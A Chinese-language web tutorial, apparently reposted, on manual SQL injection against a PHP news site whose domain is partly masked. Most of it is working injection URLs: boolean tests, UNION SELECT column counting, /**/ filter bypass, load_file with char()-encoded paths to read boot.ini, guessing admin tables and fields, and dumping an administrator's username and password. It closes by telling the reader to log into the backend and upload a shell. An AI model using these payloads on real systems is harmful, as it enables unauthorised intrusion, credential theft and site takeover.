一个不错的手工php注入教程

来源:互联网 发布:java接口命名规则 编辑:程序博客网 时间:2024/04/30 22:02

目标网站:http://www.xxx.org.cn:81
  注入点: http://www.xxx.org.cn:81/news.php?id=780
  1.认识注入类型
  不管是asp.aspx.php,注入的标准类型必为
  
http://www.xxxx.com/aa.asp?p=xxx
  http://www.xxxx.com/aa.aspx?p=xxx
  http://www.xxxx.com/aa.php?p=xxx
  2.判断是否存在注入
  不管是asp.aspx.php,注入点的判断都是这样的
  
http://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=1返回正常页
  
http://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=2,返回错误页
  存在注入
  3.猜解准确字段数
  (不明白原理的请多看看这方面的文章,这只讲实际运用)
  利用union来查询准确字段,如: and 1=2 union select 1,2,3,.......直到返回正常,说明猜到准确字段数。如过滤了空格可以用 /**/代替。
  
http://www.xxx.org.cn:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7
  
http://www.xxx.org.cn:81/news.php?id=780/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7
  记下这个位置,3 和5
  4.mysql也有内置变量,可以帮助我们获得更多信息
  version()(4.0.21-nt)返回当前数据库版本信息,database(){db_xxx_org_cn} 返回当前数据库名,user(),{tt1330@localhost}返回MYSQL用户名,可以帮助我们获得更多信息。这些都是很基础的东西
  现在就在3和5这插入
  
http://www.xxx.org.cn:81/news.php?id=780%20and%201=2%20union%20select%201,2,version(),4,5,6,7
  Load_file可以返回文件的内容
  (1),读取系统信息
  [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" /fastdetect /NoExecute=OptOut multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="Boot Mirror C: - secondary plex" multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="Boot Mirror C: - secondary plex"
  (2)读取php配置信息
  我们转化一下,
  load_file('c:\boot.ini')=load_file(char(99,58,92,98,111,111,116,46,105,110,105))
  5.准确猜解表
  如: and 1=1 union select 1,2,3,4,5,6.... from user 如果返回正常说明存在这个表。
  
http://www.xxx.org.cn:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from admin
  说明没有admin表
  
http://www.xxx.org.cn:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from user
  正常说明有这个表
  6.猜解表中的字段
  and 1=1 union select 1,username,3,4,5,6.... from user/*如果字段显示出字段内容则存在些字段。
  
http://www.xxx.org.cn:81/news.php?id=780 and 1=1 union select 1,2,user,4,5,6,7 from user
  
http://www.xxx.org.cn:81/news.php?id=780 and 1=1 union select 1,2,name,4,5,6,7 from user
  有字段name
  同理再猜解password字段,猜解成功再找后台登录。
  
http://www.xxx.org.cn:81/news.php?id=780 and 1=1 union select 1,2,pass,4,5,6,7 from user
  
http://www.xxx.org.cn:81/news.php?id=780 and 1=1 union select 1,2,pwd,4,5,6,7 from user
  有字段pwd
  7.暴管理员的用户名,密码是多少
  
http://www.xxx.org.cn:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7 from user
  
http://www.xxx.org.cn:81/news.php?id=780 and 1=2 union select 1,2,pwd,4,name,6,7 from user
  name:admin
  pwd:83863176
  8.登录后台,上传shell。